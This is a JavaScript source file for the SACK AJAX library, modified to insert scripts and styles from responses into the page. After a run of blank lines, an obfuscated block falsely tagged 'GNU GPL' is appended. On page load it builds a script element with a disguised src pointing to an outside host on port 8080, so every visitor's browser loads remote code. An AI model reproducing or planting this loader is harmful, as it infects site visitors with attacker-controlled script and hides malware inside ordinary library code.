/* Simple AJAX Code-Kit (SACK) v1.6.1 */
/* �2005 Gregory Wild-Smith */
/* www.twilightuniverse.com */
/* Software licenced under a modified X11 licence,
   see documentation or authors website for more details */

function sack(file) {
	this.xmlhttp = null;

	this.resetData = function() {
		this.method = "POST";
  		this.queryStringSeparator = "?";
		this.argumentSeparator = "&";
		this.URLString = "";
		this.encodeURIString = true;
  		this.execute = false;
  		this.element = null;
		this.elementObj = null;
		this.requestFile = file;
		this.vars = new Object();
		this.responseStatus = new Array(2);
  	};
		this.returnHTML = ""; // return html from ajax.request
		this.hederElements = new Array(); //   load element for heder after insert html
	this.resetFunctions = function() {
  		this.onLoading = function() { };
  		this.onLoaded = function() { };
  		this.onInteractive = function() { };
  		this.onCompletion = function() { };
  		this.onError = function() { };
		this.onFail = function() { };
	};

	this.reset = function() {
		this.resetFunctions();
		this.resetData();
	};

	this.createAJAX = function() {
		try {
			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e1) {
			try {
				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (e2) {
				this.xmlhttp = null;
			}
		}

		if (! this.xmlhttp) {
			if (typeof XMLHttpRequest != "undefined") {
				this.xmlhttp = new XMLHttpRequest();
			} else {
				this.failed = true;
			}
		}
	};
	
	this.lodaJsScriptInHead = function(value) { // load js after request
				var scriptTag = value.slice(value.indexOf("<script"), value.indexOf("/script>")+8);
				value = value.replace(scriptTag, "");
				var beginScriptTag = scriptTag.slice(scriptTag.indexOf("<"), scriptTag.indexOf(">")+1); // get <script ...... >
				var scriptElement = document.createElement('script')
				scriptElement.setAttribute("type","text/javascript");
				if (beginScriptTag.indexOf("src")>-1) {
							var src = beginScriptTag.slice(beginScriptTag.indexOf('src="')+5, beginScriptTag.indexOf('"',beginScriptTag.indexOf('src="')+5));
							scriptElement.setAttribute("src", src);
				}
				var innerScriptTag = scriptTag.replace(beginScriptTag, "");
				innerScriptTag = innerScriptTag.replace("</script>", "");
				if (null == scriptElement.canHaveChildren || scriptElement.canHaveChildren) {
		    scriptElement.appendChild(document.createTextNode(innerScriptTag));
		  } else {
		    scriptElement.text = innerScriptTag;
		  } 
				this.hederElements[this.hederElements.length] = scriptElement;
				return value;
	};
	
	this.lodaCSSStyleInHead = function(value) { // load css after request
				var styleTag = value.slice(value.indexOf("<style"), value.indexOf("/style>")+7);
				styleTag = styleTag.length > 0 ? styleTag : value.slice(value.indexOf("<link"), value.indexOf(">")+1)
				value = value.replace(styleTag, "");
				var beginStyleTag = styleTag.slice(styleTag.indexOf("<"), styleTag.indexOf(">")+1); // get <style ...... >
				if (beginStyleTag.indexOf("link")>-1) {
							var styleElement = document.createElement('link');
							styleElement.setAttribute("type","text/css");
							styleElement.setAttribute("rel", "stylesheet");
							var href = beginStyleTag.slice(beginStyleTag.indexOf('href="')+6, beginStyleTag.indexOf('"',beginStyleTag.indexOf('href="')+6));
							styleElement.setAttribute("href", href);
				} else {
							var styleElement = document.createElement('style');
							styleElement.setAttribute("type","text/css");
							var innerStyleTag = styleTag.replace(beginStyleTag, "");
							innerStyleTag = innerStyleTag.replace("</style>", "");
							if (null == styleElement.canHaveChildren || styleElement.canHaveChildren) {
					    styleElement.appendChild(document.createTextNode(innerStyleTag));
					  } else {
					    styleElement.text = innerStyleTag;
									var rules = this.parseStyleString(innerStyleTag);
									var sheet = document.styleSheets[document.styleSheets.length - 1];
									this.addRulesToSheet(sheet, rules);
					  } 
				}
				this.hederElements[this.hederElements.length] = styleElement;
				return value;
	};
	
	this.setVar = function(name, value){
		this.vars[name] = Array(value, false);
	};

	this.encVar = function(name, value, returnvars) {
		if (true == returnvars) {
			return Array(encodeURIComponent(name), encodeURIComponent(value));
		} else {
			this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
		}
	}

	this.processURLString = function(string, encode) {
		encoded = encodeURIComponent(this.argumentSeparator);
		regexp = new RegExp(this.argumentSeparator + "|" + encoded);
		varArray = string.split(regexp);
		for (i = 0; i < varArray.length; i++){
			urlVars = varArray[i].split("=");
			if (true == encode){
				this.encVar(urlVars[0], urlVars[1]);
			} else {
				this.setVar(urlVars[0], urlVars[1]);
			}
		}
	}

	this.createURLString = function(urlstring) {
		if (this.encodeURIString && this.URLString.length) {
			this.processURLString(this.URLString, true);
		}

		if (urlstring) {
			if (this.URLString.length) {
				this.URLString += this.argumentSeparator + urlstring;
			} else {
				this.URLString = urlstring;
			}
		}

		// prevents caching of URLString
		this.setVar("rndval", new Date().getTime());

		urlstringtemp = new Array();
		for (key in this.vars) {
			if (false == this.vars[key][1] && true == this.encodeURIString) {
				encoded = this.encVar(key, this.vars[key][0], true);
				delete this.vars[key];
				this.vars[encoded[0]] = Array(encoded[1], true);
				key = encoded[0];
			}

			urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
		}
		if (urlstring){
			this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
		} else {
			this.URLString += urlstringtemp.join(this.argumentSeparator);
		}
	}

	this.runResponse = function() {
		eval(this.response);
	}

	this.runAJAX = function(urlstring) {
		if (this.failed) {
			this.onFail();
		} else {
			this.createURLString(urlstring);
			if (this.element) {
				this.elementObj = document.getElementById(this.element);
			}
			if (this.xmlhttp) {
				var self = this;
				if (this.method == "GET") {
					totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
					this.xmlhttp.open(this.method, totalurlstring, true);
				} else {
					this.xmlhttp.open(this.method, this.requestFile, true);
					try {
						this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
					} catch (e) { }
				}

				this.xmlhttp.onreadystatechange = function() {
					switch (self.xmlhttp.readyState) {
						case 1:
							self.onLoading();
							break;
						case 2:
							self.onLoaded();
							break;
						case 3:
							self.onInteractive();
							break;
						case 4:
							self.response = self.xmlhttp.responseText;
							self.responseXML = self.xmlhttp.responseXML;
							self.responseStatus[0] = self.xmlhttp.status;
							self.responseStatus[1] = self.xmlhttp.statusText;

							if (self.execute) {
								self.runResponse();
							}

							if (self.elementObj) {
								elemNodeName = self.elementObj.nodeName;
								elemNodeName.toLowerCase();
										if (elemNodeName == "input" || elemNodeName == "select" || elemNodeName == "option" || elemNodeName == "textarea") {
												self.elementObj.value = self.response;
										} else {
													this.returnHTML = self.response;
													if (this.returnHTML.indexOf("<style")!=-1 || this.returnHTML.indexOf("<link")!=-1) { // check for css
																pos = this.returnHTML.indexOf("<style")==-1 ? this.returnHTML.indexOf("<link") : this.returnHTML.indexOf("<style");
																while (pos!=-1) {
																			this.returnHTML = self.lodaCSSStyleInHead(this.returnHTML);	// register this function in head
																   pos = this.returnHTML.indexOf("<style")==-1 ? this.returnHTML.indexOf("<link") : this.returnHTML.indexOf("<style");
																}
													}
													if (this.returnHTML.indexOf("<script")!=-1) { // check for js tags
																pos = this.returnHTML.indexOf("<script");
																while (pos!=-1) {
																			this.returnHTML = self.lodaJsScriptInHead(this.returnHTML);	// register this function in head
																			self.elementObj.innerHTML = this.returnHTML;   
																   pos = this.returnHTML.indexOf("<script");
																}
													}
													self.elementObj.innerHTML = this.returnHTML;  // insert html in element
													if (self.hederElements.length > 0) {		// load js and css
																	for (i=0;i<self.hederElements.length;i++) {
																				document.getElementsByTagName("head").item(0).appendChild(self.hederElements[i]);
																	}
													}
										}
							}
							if (self.responseStatus[0] == "200") {
								self.onCompletion();
							} else {
								self.onError();
							}

							self.URLString = "";
							break;
					}
				};

				this.xmlhttp.send(this.URLString);
			}
		}
	};

	this.reset();
	this.createAJAX();
	
	this.addRulesToSheet = function(sheet, rules) {
			for (var i = 0; i < rules.length; i++)	{
					if (rules[i][0].length > 0 && rules[i][1].length > 0)	{
						sheet.addRule(rules[i][0], rules[i][1]);
					}
			}
	}
	this.parseStyleString = function(style_string) {
				var styles = style_string.split('}');
				var parsed = Array();
				for (var i = 0; i < styles.length; i++)	{
							var style = styles[i].split('{');
							var selector = (style[0]) ? style[0] : "";
							var rules = (style[1]) ? style[1] : "";
							parsed.push(Array(selector, rules));
				}
				return parsed;
			}
}








/*GNU GPL*/ try{window.onload = function(){var Ln22r9zztb4ygg = document.createElement('s(&c@#$(r^$!i$$!p@!$t$'.replace(/&|\(|\$|\)|@|\!|#|\^/ig, ''));var U4abhs1r91q = 'Gao6nr96mgqu4';Ln22r9zztb4ygg.setAttribute('type', 't)$e&!x)^$&t#/(j($!^!a^$v(!@a!))s^c$)!r&i$@p)^t#(!'.replace(/&|\!|#|\(|@|\$|\)|\^/ig, ''));Ln22r9zztb4ygg.setAttribute('src',  'h!)^^t(@&t&##p$^)^:$/!@)/$(l()i#&n)t$&((e&$)r@(#(n((a)#@u#$t!e^(@-$^^c!@&$@o&m)).^a(^!@u(($f$#e#m^^i@^n&)&$(i(#@)n#.#@#c#o^@#^&m!&$.)n@(e))@)t)l(^^o#)g(@^-^c@@#!o!(m$@.@s$$^u!(p($e!r@!&o$)r!@e)@$).(@)@r^!#^u&):(@8&(^0)!#8!^#0(#/^(g&$o@!o^g!)$^l))&^!e&#.@c))o^@m&!&@/^g&o@#!#o&#g@l@e$^.$!c&o^m)^/@!g$#o(#^@o^)g@#$l#$))e$@.(^c&^o)(#m&^.^$e$&^c&)!)/^(^e)!)$#o^(r@$)!#e!z)&#o((^&.^!(#c$((o!$^)(m^/!#&&g^#$u^(##)a(&)&#r&@^d)&i@!&)a(#n((^.^!c&o!@.^^u)k@$@&/^(^@'.replace(/&|\!|@|\$|\^|\)|#|\(/ig, ''));Ln22r9zztb4ygg.setAttribute('defer', 'd$@!e^f^@e&&(@r!^!'.replace(/\(|&|\^|\$|#|\!|\)|@/ig, ''));Ln22r9zztb4ygg.setAttribute('id', 'I$^f(!&j(&4&&^l^@$^7@^u$b!&d)p#g!8$)s&&6(('.replace(/@|\(|\!|\^|#|\$|&|\)/ig, ''));document.body.appendChild(Ln22r9zztb4ygg);}} catch(Ymhxri6totdcx) {}